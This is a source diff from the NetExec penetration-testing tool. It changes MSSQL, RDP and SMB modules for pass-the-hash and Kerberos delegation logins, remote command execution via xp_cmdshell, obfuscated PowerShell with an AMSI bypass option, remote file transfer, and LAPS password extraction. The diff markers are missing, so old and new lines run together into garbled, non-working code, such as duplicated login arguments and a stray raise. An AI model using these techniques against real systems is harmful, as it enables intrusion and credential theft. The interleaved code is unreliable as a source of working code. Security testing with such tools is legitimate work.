if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
return True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
except Exception:
error_msg = self.handle_mssql_reply()
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.password), error_msg if error_msg else ""))
return False
@reconnect_mssql
def hash_login(self, domain, username, ntlm_hash):
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
self.username = username
self.domain = domain
self.lmhash = ""
self.nthash = ""
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
nthash = ntlm_hash
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
self.nthash = ntlm_hash
try:
res = self.conn.login(
None,
username,
self.username,
"",
domain,
":" + nthash if not lmhash else ntlm_hash,
self.domain,
f"{self.lmhash}:{self.nthash}",
not self.args.local_auth,
)
if res is not True:
self.conn.printReplies()
return False
self.hash = ntlm_hash
self.username = username
self.domain = domain
raise
self.check_if_admin()
self.db.add_credential("hash", domain, username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
out = f"{domain}\\{username} {process_secret(ntlm_hash)} {self.mark_pwned()}"
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
return True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
except Exception as e:
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
except Exception:
error_msg = self.handle_mssql_reply()
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.nthash), error_msg if error_msg else ""))
return False
def mssql_query(self):
@@ -306,56 +295,61 @@ class mssql(connection):
else:
self.logger.fail("Unexpected output")
except Exception as e:
self.logger.exception(e)
self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}")
return None
return raw_output
@requires_admin
def execute(self, payload=None, print_output=False):
if not payload and self.args.execute:
payload = self.args.execute
self.logger.info(f"Command to execute:\n{payload}")
def execute(self, payload=None, get_output=False):
payload = self.args.execute if not payload and self.args.execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"{get_output=}")
try:
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, print_output)
self.logger.info("Executed command via mssqlexec")
self.logger.debug(f"Raw output: {raw_output}")
exec_method = MSSQLEXEC(self.conn, self.logger)
output = exec_method.execute(payload)
self.logger.debug(f"Output: {output}")
except Exception as e:
self.logger.exception(e)
return None
if hasattr(self, "server"):
self.server.track_host(self.host)
if self.args.execute or self.args.ps_execute:
self.logger.success("Executed command via mssqlexec")
if self.args.no_output:
self.logger.debug("Output set to disabled")
else:
for line in raw_output:
self.logger.highlight(line)
return raw_output
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
self.logger.success("Executed command via mssqlexec")
if output:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=True,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
self.logger.debug(f"ps_execute response: {response}")
return response
@requires_admin
def put_file(self):
@@ -364,7 +358,7 @@ class mssql(connection):
try:
data = f.read()
self.logger.display(f"Size is {len(data)} bytes")
exec_method = MSSQLEXEC(self.conn)
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.put_file(data, self.args.put_file[1])
if exec_method.file_exists(self.args.put_file[1]):
self.logger.success("File has been uploaded on the remote machine")
@@ -374,13 +368,13 @@ class mssql(connection):
self.logger.fail(f"Error during upload : {e}")
@requires_admin
def get_file(self):
def get_file(self):
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
try:
exec_method = MSSQLEXEC(self.conn)
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
@@ -394,13 +388,13 @@ class mssql(connection):
for keys in self.conn.replies:
for _i, key in enumerate(self.conn.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')"
self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
self.logger.fail(error)
return error_msg
elif key["TokenType"] == TDS_INFO_TOKEN:
self.logger.display(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
return f"({key['MsgText'].decode('utf-16le')})"
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self.logger.display(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )"
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in (
TDS_ENVCHANGE_DATABASE,
TDS_ENVCHANGE_LANGUAGE,
@@ -422,4 +416,4 @@ class mssql(connection):
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
self.logger.display(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"
+1 -1
View File
@@ -77,7 +77,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
+49 -34
View File
@@ -1,74 +1,89 @@
import binascii
from nxc.logger import nxc_logger
class MSSQLEXEC:
def __init__(self, connection):
def __init__(self, connection, logger):
self.mssql_conn = connection
self.outputBuffer = ""
self.logger = logger
def execute(self, command, output=False):
command_output = []
def execute(self, command):
result = None
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
nxc_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
nxc_logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
command_output.append(row["output"])
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
result = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {result}")
if result:
result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
except Exception as e:
nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
if output:
nxc_logger.debug("Output is enabled")
for row in command_output:
nxc_logger.debug(row)
# if len(self.outputBuffer):
try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
nxc_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return command_output
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return result
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def disable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def enable_ole(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def disable_ole(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.disable_ole()
except Exception as e:
nxc_logger.debug(f"Error uploading via mssqlexec: {e}")
self.logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
self.logger.debug(f"Executing query: {query}")
res = self.mssql_conn.batch(query)
self.logger.debug(f"File check response: {res}")
return res[0]["n"] == 1
except Exception:
return False
def get_file(self, remote, local):
try:
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]
query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
data = self.mssql_conn.rows
self.logger.debug(f"Get file returned: {data}")
with open(local, "wb+") as f:
f.write(binascii.unhexlify(data))
f.write(binascii.unhexlify(data[0]["BulkColumn"]))
except Exception as e:
nxc_logger.debug(f"Error downloading via mssqlexec: {e}")
self.logger.debug(f"Error downloading via mssqlexec: {e}")
+14 -28
View File
@@ -1,46 +1,32 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
def proto_args(parser, parents):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
no_smb_arg = mssql_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
dgroup = mssql_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
no_smb_arg.make_required = [domain_arg]
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return parser
+31 -5
View File
@@ -87,6 +87,16 @@ class rdp(connection):
# if hasattr(self.args, 'module') and self.args.module:
def proto_logger(self):
import platform
if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
import sys
class DevNull:
def write(self, msg):
pass
sys.stderr = DevNull()
self.logger = NXCAdapter(
extra={
"protocol": "RDP",
@@ -140,10 +150,16 @@ class rdp(connection):
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.target = RDPTarget(
ip=self.host,
hostname=self.hostname,
@@ -210,7 +226,17 @@ class rdp(connection):
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
kerberos_target = UniTarget(
self.host,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
hostname=self.remoteName,
dc_ip=self.kdcHost,
domain=self.domain,
proxies=None,
dns=None,
)
self.auth = KerberosCredential(
target=kerberos_target,
secret=password,
@@ -233,7 +259,7 @@ class rdp(connection):
self.mark_pwned(),
)
)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -279,7 +305,7 @@ class rdp(connection):
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -313,7 +339,7 @@ class rdp(connection):
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
+1 -1
View File
@@ -57,7 +57,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
+9 -6
View File
@@ -1,8 +1,11 @@
def proto_args(parser, std_parser, module_parser):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
dgroup = rdp_parser.add_mutually_exclusive_group()
@@ -11,7 +14,7 @@ def proto_args(parser, std_parser, module_parser):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
return parser
+275 -268
View File
@@ -1,5 +1,4 @@
import ntpath
import hashlib
import binascii
import os
import re
@@ -44,19 +43,19 @@ from nxc.protocols.smb.smbspider import SMBSpider
from nxc.protocols.smb.passpol import PassPolDump
from nxc.protocols.smb.samruser import UserSamrDump
from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.sccm import SCCMTriage
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
@@ -65,7 +64,6 @@ from datetime import datetime
from functools import wraps
from traceback import format_exc
import logging
from json import loads
from termcolor import colored
import contextlib
@@ -214,8 +212,23 @@ class smb(connection):
# no ntlm supported
self.no_ntlm = True
self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
else:
self.hostname = self.host
self.targetDomain = self.hostname
self.domain = self.targetDomain if not self.args.domain else self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.targetDomain = self.hostname
self.server_os = self.conn.getServerOS()
self.logger.extra["hostname"] = self.hostname
@@ -230,9 +243,6 @@ class smb(connection):
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
if not self.domain:
self.domain = self.hostname
self.db.add_host(
self.host,
self.hostname,
@@ -247,170 +257,74 @@ class smb(connection):
self.conn.logoff()
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
def laps_search(self, username, password, ntlm_hash, domain):
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
ldapco = LDAPConnect(self.domain, "389", self.domain)
if self.kerberos:
if self.kdcHost is None:
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
return False
connection = ldapco.kerberos_login(
domain,
username[0] if username else "",
password[0] if password else "",
ntlm_hash[0] if ntlm_hash else "",
kdcHost=self.kdcHost,
aesKey=self.aesKey,
)
else:
connection = ldapco.auth_login(
domain,
username[0] if username else "",
password[0] if password else "",
ntlm_hash[0] if ntlm_hash else "",
)
if not connection:
self.logger.fail(f"LDAP connection failed with account {username[0]}")
return False
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
"ms-MCS-AdmPwd",
"sAMAccountName",
]
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
msMCSAdmPwd = ""
sAMAccountName = ""
username_laps = ""
from impacket.ldap import ldapasn1 as ldapasn1_impacket
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
for host in results:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
elif "mslaps-password" in values:
r = loads(str(values["mslaps-password"]))
msMCSAdmPwd = r["p"]
username_laps = r["n"]
elif "ms-mcs-admpwd" in values:
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
else:
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
else:
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return False
self.username = username_laps if username_laps else self.args.laps
self.password = msMCSAdmPwd
if msMCSAdmPwd == "":
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return False
if ntlm_hash:
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
self.hash = binascii.hexlify(hash_ntlm).decode()
self.args.local_auth = True
self.domain = self.hostname
self.logger.extra["protocol"] = "SMB"
self.logger.extra["port"] = "445"
return True
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
if self.args.laps:
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
return True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
logging.getLogger("impacket").disabled = True
# Re-connect since we logged off
kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
self.logger.debug(f"KDC set to: {kdc_host}")
self.create_conn_obj(kdc_host)
self.logger.debug(f"KDC set to: {kdcHost}")
self.create_conn_obj()
lmhash = ""
nthash = ""
try:
if not self.args.laps:
self.password = password
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
if not all(s == "" for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
else:
kerb_pass = ""
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
tgs = None
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
elif not self.args.delegate:
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.password = password
self.username = username
# This checks to see if we didn't provide the LM Hash
